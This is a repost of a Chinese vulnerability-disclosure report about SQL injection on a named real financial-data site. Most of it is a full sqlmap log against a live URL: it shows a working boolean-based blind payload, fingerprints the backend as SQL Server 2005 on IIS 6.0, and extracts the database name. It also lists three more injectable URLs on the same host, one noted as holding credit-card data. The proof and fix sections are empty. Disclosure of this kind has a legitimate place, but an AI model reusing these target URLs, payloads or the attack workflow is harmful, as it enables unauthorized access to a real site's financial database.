神刀安全网

和讯网某重要站点多处sql注入

简要描述:

sql

详细说明:

code 区域
注入地址:http://data.bank.hexun.com/card/xykcs/csdb.aspx?db=pro208

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program

[*] starting at 04:57:04

[04:57:04] [INFO] using 'F:/桌面/渗透工具/sqlmap GUI汉化版/rar/output/data.bank.
hexun.com/session' as session file
[04:57:04] [INFO] testing connection to the target url
[04:57:05] [INFO] testing if the url is stable, wait a few seconds
[04:57:06] [INFO] url is stable
[04:57:06] [INFO] testing if GET parameter 'db' is dynamic
[04:57:06] [INFO] confirming that GET parameter 'db' is dynamic
[04:57:07] [INFO] GET parameter 'db' is dynamic
[04:57:07] [WARNING] heuristic test shows that GET parameter 'db' might not be i
njectable
[04:57:07] [INFO] testing sql injection on GET parameter 'db'
[04:57:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:57:08] [INFO] GET parameter 'db' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[04:57:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[04:57:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:57:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[04:57:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[04:57:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:57:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[04:57:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[04:57:10] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:57:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:57:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[04:57:11] [INFO] testing 'Oracle AND time-based blind'
[04:57:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[04:57:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[04:57:15] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[04:57:16] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[04:57:19] [INFO] target url appears to have 24 columns in query
[04:57:33] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[04:57:33] [INFO] checking if the injection point on GET parameter 'db' is a fal
se positive
GET parameter 'db' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 85 HTTP(s) requ
ests:
---
Place: GET
Parameter: db
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: db=pro208) AND 1281=1281 AND (5074=5074
---

[04:57:44] [INFO] testing MySQL
[04:57:45] [WARNING] the back-end DBMS is not MySQL
[04:57:45] [INFO] testing Oracle
[04:57:45] [WARNING] the back-end DBMS is not Oracle
[04:57:45] [INFO] testing PostgreSQL
[04:57:45] [WARNING] the back-end DBMS is not PostgreSQL
[04:57:45] [INFO] testing Microsoft SQL Server
[04:57:46] [INFO] confirming Microsoft SQL Server
[04:57:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2005
[04:57:47] [INFO] fetching database names
[04:57:47] [INFO] fetching number of databases
[04:57:47] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[04:57:47] [INFO] retrieved:
[04:57:48] [ERROR] unable to retrieve the number of databases
[04:57:48] [INFO] falling back to current database
[04:57:48] [INFO] fetching current database
[04:57:48] [INFO] retrieved: DB_WEB
available databases [1]:
[*] DB_WEB

[04:58:09] [INFO] Fetched data logged to text files under 'F:/桌面/渗透工具/sqlm
ap GUI汉化版/rar/output/data.bank.hexun.com'

[*] shutting down at 04:58:09

信用卡什么的

code 区域
http://data.bank.hexun.com/card/xykcenter.aspx?no=1 存在注入
http://data.bank.hexun.com/lccp/Jrxp.aspx?col=
http://data.bank.hexun.com/yhdg/yhdgdb.aspx?db=proc2,proc3 注入

漏洞证明:

修复方案:

版权声明:神刀安全网转自 #6c6c6c@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 和讯网某重要站点多处sql注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮